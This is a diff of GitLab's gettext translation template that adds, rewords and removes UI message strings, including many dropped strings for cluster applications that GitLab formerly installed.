@@ -399,6 +410,10 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,10 +602,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,13 +1654,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1678,16 +1678,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1816,6 +1819,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,19 +2263,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,10 +2299,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3281,9 +3308,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3656,9 +3683,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
